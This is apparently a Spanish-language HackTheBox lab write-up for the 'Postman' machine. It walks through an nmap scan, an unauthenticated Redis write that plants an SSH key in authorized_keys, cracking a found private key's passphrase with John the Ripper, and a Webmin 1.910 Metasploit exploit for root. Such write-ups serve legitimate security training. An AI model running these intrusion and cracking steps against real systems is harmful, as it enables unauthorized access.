Postman es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad fácil.
Índice
Escaneo de puertos
Como de costumbre, agregaremos la IP de la máquina a mi etc / hosts como postman.htb para un acceso más fácil. El siguiente paso es ejecutar namp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
# nmap -sV -sT -sC -p 1-10000 -oA nmapinitial postman.htb Nmap scan report for postman.htb (10.10.10.160) Host is up (0.056s latency). Not shown: 9984 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA) | 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA) |_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: The Cyber Geek's Personal Website 335/tcp filtered unknown 1196/tcp filtered netmagic 2268/tcp filtered amt 2400/tcp filtered opequus-server 2563/tcp filtered cti-redwood 3593/tcp filtered bpmd 5404/tcp filtered hpoms-dps-lstn 6215/tcp filtered unknown 6379/tcp open redis Redis key-value store 4.0.9 8022/tcp filtered oa-system 8414/tcp filtered unknown 9653/tcp filtered unknown 9890/tcp filtered unknown 10000/tcp open http MiniServ 1.910 (Webmin httpd) |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1). |_http-trane-info: Problem with XML parsing of /evox/about Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Jan 9 19:09:18 2020 -- 1 IP address (1 host up) scanned in 1295.96 seconds |
Encontramos varias cosas que parecen interesantes en este escaneo. Acceso de ssh por el puerto 22, acceso web por el puerto 80, acceso web también por el puerto 10000, nos indica que se trata de webmin con versión 1.910 y, lo más interesante, encontramos abierto redis en el puerto 6379 y con la versión del almacén de claves 4.0.9.
Comprobamos los diferentes portales pero no descubrimos nada interesante. En el puerto 80:
Y en el 10000
Procedemos a buscar en el servicio de redis y encontramos que la versión actual es vulnerable y que puede ser fácilmente explotada, tal y como indica en el siguiente enlace https://packetstormsecurity.com/files/134200/Redis-Remote-Command-Execution.html
Comprobamos que realmente podamos acceder por telnet y que redis nos responde a dicha conexión
Explotación
Así que vamos a crear nuestra clave ssh que posteriormente subiremos a través de redis, la crearemos con el siguiente comando:
1 |
ssh-keygen -t rsa -b 4096 -C "redis@kali" |
A continuación editaremos nuestra clave pública y le añadiremos dos \n al principio y al final de la misma y ejecutaremos los siguientes comandos
1 2 3 4 5 6 7 8 9 10 11 12 |
# accedemos por telnet telnet 10.10.10.160 6379 # añadimos nuestra clave set s-key "\n\npubkey\n\n" # indicamos el directorio de configuración config set dir /var/lib/redis/.ssh # indicamos en donde debe de escribirse el anterior contenido config set dbfilename authorized_keys # guardamos los datos save # y salimos de la conexión quit |
Como vemos en la siguiente captura de pantalla
Ahora probamos la conexión por ssh con el usuario redis y bingo, estamos dentro
Intentaremos encontrar la flag de user, aunque como era de esperar no tenemos permisos para leer la misma
1 2 3 |
redis@Postman:~$ ls -l /home/Matt/ total 4 -rw-rw---- 1 Matt Matt 33 Aug 26 03:07 user.txt |
Así que vamos a seguir enumerando y encontramos una clave .pem de un usuario, que esperamos que pertenezca al usuario Matt
1 2 |
redis@Postman:~$ find / -iname "*id_rsa*" 2> /dev/null /opt/id_rsa.bak |
Nos la descargamos a nuestro Kali y la intentamos descifrar con la ayuda de john. Obtendremos primero el hash con el script ssh2john
1 |
python3 /root/github/JohnTheRipper/run/ssh2john.py id_rsa.bak > hash.txt |
Para después descifrarla con john de Ripper y un ataque de diccionario
1 2 3 4 5 6 7 8 9 10 11 12 |
root@kali:/data/shared/htb/machines/postman.htb# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes Cost 2 (iteration count) is 2 for all loaded hashes Will run 2 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status computer2008 (id_rsa.bak) 1g 0:00:00:13 98.34% (ETA: 19:46:57) 0.07621g/s 1076Kp/s 1076Kc/s 1076KC/s 028625408..028623356 Session aborted |
Y bingo, tenemos la contraseña computer2008, así que vamos a probar si podemos conectarnos con el usuario Matt
Obteniendo la flag user
Probamos a acceder por ssh pero sin éxito, parece que tenemos denegado el acceso por ssh a la máquina ya que rechaza nuestra conexión
1 2 3 |
root@kali:/data/shared/htb/machines/postman.htb#ssh -i /root/.ssh/mark.pem Matt@10.10.10.160 Enter passphrase for key '/root/.ssh/mark.pem': Connection closed by 10.10.10.160 port 22 |
Volvemos entonces a acceder a la máquina con el usuario de redis y logramos acceder desde la misma al usuario Matt, tenemos la flag de user
Escalado y flag root
Con la enumeración que hicimos al principio, descubrimos también una vulnerabilidad en la versión 1.910 de webmin, pero necesitábamos un usuario en dicha máquina para poder probar a escalar privilegios, utilizaremos entonces el siguiente script https://www.exploit-db.com/exploits/46984
Añadimos el mismo a metasploit
Y configuramos las opciones del mismo:
Ejecutamos y listo, tenemos una sesión en la máquina con la que conseguimos obtener acceso como root
Y con la flag obtenida, sólo queda cobrar los puntos por haber superado la misma.